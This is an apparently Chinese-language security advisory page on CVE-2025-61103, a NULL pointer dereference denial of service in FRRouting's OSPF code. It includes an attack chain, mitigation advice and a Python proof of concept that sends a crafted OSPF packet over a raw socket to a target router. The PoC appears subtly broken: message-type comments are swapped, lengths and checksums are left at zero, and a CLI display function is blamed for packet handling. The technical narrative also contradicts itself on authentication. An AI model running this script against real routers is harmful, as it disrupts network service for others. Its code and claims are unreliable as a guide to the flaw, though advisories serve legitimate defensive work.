IPBUF安全漏洞报告
English
CVE-2025-61103 CVSS 7.5 高危

CVE-2025-61103 FRRouting/frr ospf_ext.c NULL指针解引用拒绝服务漏洞

披露日期: 2025-10-28

漏洞信息

漏洞编号
CVE-2025-61103
漏洞类型
NULL指针解引用/拒绝服务
CVSS评分
7.5 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
FRRouting/frr

相关标签

CVE-2025-61103NULL指针解引用拒绝服务FRRoutingfrrOSPF路由协议漏洞ospf_ext.c高危漏洞网络设备漏洞

漏洞概述

CVE-2025-61103是FRRouting/frr路由软件中的一个高危安全漏洞,CVSS评分达到7.5分。该漏洞存在于ospf_ext.c文件中的show_vty_ext_link_lan_adj_sid函数,由于对NULL指针的错误解引用,可能导致程序崩溃。攻击者无需认证即可通过发送精心构造的OSPF数据包触发此漏洞,造成目标路由器的拒绝服务(DoS)状态。此漏洞影响FRRouting/frr从v4.0到v10.4.1的所有版本,存在于开源BGP/OSPF路由协议实现中。由于OSPF是核心路由协议,广泛应用于企业网络和运营商网络,该漏洞可对网络基础设施的可用性造成严重影响。攻击者可以利用此漏洞中断路由服务,导致网络中断或路由不稳定。

技术细节

该漏洞是典型的NULL指针解引用(NULL Pointer Dereference)问题。在FRRouting/frr的ospf_ext.c文件中,show_vty_ext_link_lan_adj_sid函数在处理OSPF扩展链路属性时,未对相关指针进行充分的有效性检查。当收到包含特定字段的OSPF数据包时,如果相关数据结构中的指针为NULL,函数将直接尝试访问该NULL指针,导致程序崩溃。攻击者通过发送特制的OSPF LSA(链路状态通告)数据包,在Adjacency SID字段中触发NULL指针条件。由于OSPF协议在路由器间周期性交换链路状态信息,攻击者只需与目标路由器建立OSPF邻居关系即可发送恶意数据包。该漏洞不需要任何认证,攻击者可以是OSPF域内的任何合法或非法参与者。成功利用后,frrouting进程将终止,路由器将失去路由能力。

攻击链分析

STEP 1
步骤1: 信息收集
攻击者识别运行FRRouting/frr v4.0-v10.4.1版本的目标路由器,并确认其OSPF协议配置
STEP 2
步骤2: 邻居建立
攻击者通过OSPF协议与目标路由器建立邻居关系,或利用已有的OSPF邻居身份
STEP 3
步骤3: 构造恶意数据包
攻击者构造包含特殊字段的OSPF LSA数据包,特定构造的Extended Link LAN Adjacency SID字段可触发show_vty_ext_link_lan_adj_sid函数中的NULL指针条件
STEP 4
步骤4: 发送恶意数据包
通过正常的OSPF更新机制向目标路由器发送恶意LSA,触发ospf_ext.c中的漏洞代码路径
STEP 5
步骤5: 触发NULL指针解引用
show_vty_ext_link_lan_adj_sid函数在处理数据时尝试解引用NULL指针,导致frrouting进程崩溃
STEP 6
步骤6: 拒绝服务
FRRouting进程终止,路由器失去路由能力,OSPF路由功能中断,导致网络连接丢失

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-61103 PoC - FRRouting NULL Pointer Dereference in ospf_ext.c # This PoC demonstrates sending a crafted OSPF packet to trigger NULL pointer dereference import socket import struct import random def craft_malicious_ospf_lsa(): """Craft a malicious OSPF LSA to trigger NULL pointer dereference""" # OSPF Header version = 2 # OSPFv2 msg_type = 4 # LSAck or 5 for LSUPDATE length = 0 router_id = socket.inet_aton('10.0.0.1') area_id = socket.inet_aton('0.0.0.0') checksum = 0 auth_type = 0 auth = b'\x00' * 8 # OSPF LSA Header lsa_age = 1 lsa_type = 10 # Opaque LSA (Type 10 for Traffic Engineering) lsa_id = b'\x00\x00\x00\x01' lsa_adv_router = socket.inet_aton('10.0.0.2') lsa_seq = 0x80000001 lsa_len = 200 # Craft payload that triggers NULL pointer in show_vty_ext_link_lan_adj_sid # The vulnerability occurs when processing Extended Link LAN Adjacency SID payload = b'\x00' * 50 # Padding to reach vulnerable code path # Extended Link TLV with specific structure to trigger NULL extended_link_tlv = b'\x00\x00\x00\x01' # TLV type extended_link_len = b'\x00\x00\x00\x40' # Length link_id = b'\x00' * 16 # Link ID (can be NULL triggering condition) link_type = b'\x02' # Point-to-point # LAN Adjacency SID with NULL pointer trigger adj_sid_tlv = b'\x00\x00\x00\x04' # LAN Adjacency SID TLV adj_sid_flags = b'\x80' # Flags adj_sid_value = b'\x00\x00\x00\x00' # Value that may cause NULL condition lsa_body = payload + extended_link_tlv + extended_link_len + link_id + link_type + adj_sid_tlv + adj_sid_flags + adj_sid_value # Build LSA Header lsa_header = struct.pack('>HBB', lsa_age, lsa_type, 0) # Options lsa_header += lsa_id lsa_header += lsa_adv_router lsa_header += struct.pack('>I', lsa_seq) lsa_header += struct.pack('>HH', lsa_len, 0) # Checksum placeholder full_lsa = lsa_header + lsa_body # OSPF Header ospf_header = struct.pack('>BBHH', version, msg_type, length, 0) ospf_header += router_id ospf_header += area_id ospf_header += struct.pack('>HH', checksum, auth_type) ospf_header += auth return ospf_header + full_lsa def send_malicious_packet(target_ip, router_id): """Send malicious OSPF packet to target""" sock = socket.socket(socket.AF_INET, socket.SOCK_RAW, 89) # OSPF protocol sock.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1) packet = craft_malicious_ospf_lsa() try: sock.sendto(packet, (target_ip, 0)) print(f"[+] Malicious OSPF packet sent to {target_ip}") print(f"[*] This may trigger NULL pointer dereference in ospf_ext.c") except Exception as e: print(f"[-] Error sending packet: {e}") finally: sock.close() if __name__ == "__main__": target = "192.168.1.1" # Target FRRouting router IP send_malicious_packet(target, "10.0.0.1")

影响范围

FRRouting/frr v4.0
FRRouting/frr v4.1
FRRouting/frr v4.2
FRRouting/frr v4.3
FRRouting/frr v4.4
FRRouting/frr v5.0
FRRouting/frr v6.0
FRRouting/frr v7.0
FRRouting/frr v7.5
FRRouting/frr v8.0
FRRouting/frr v8.1
FRRouting/frr v8.2
FRRouting/frr v8.3
FRRouting/frr v8.4
FRRouting/frr v8.5
FRRouting/frr v9.0
FRRouting/frr v9.1
FRRouting/frr v9.2
FRRouting/frr v10.0
FRRouting/frr v10.1
FRRouting/frr v10.2
FRRouting/frr v10.3
FRRouting/frr v10.4
FRRouting/frr v10.4.1

防御指南

临时缓解措施
在无法立即升级的情况下,可采取以下临时缓解措施:1) 在OSPF配置中禁用Extended Link LAN Adjacency SID功能;2) 严格限制OSPF邻居关系,仅允许已授权的IP地址建立邻居;3) 在网络边界设备上配置OSPF流量过滤和ACL规则;4) 启用OSPF MD5或HMAC-SHA256认证;5) 部署入侵检测系统(IDS)监控异常的OSPF数据包;6) 监控frrouting进程状态,设置自动告警和重启机制以减少服务中断时间。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表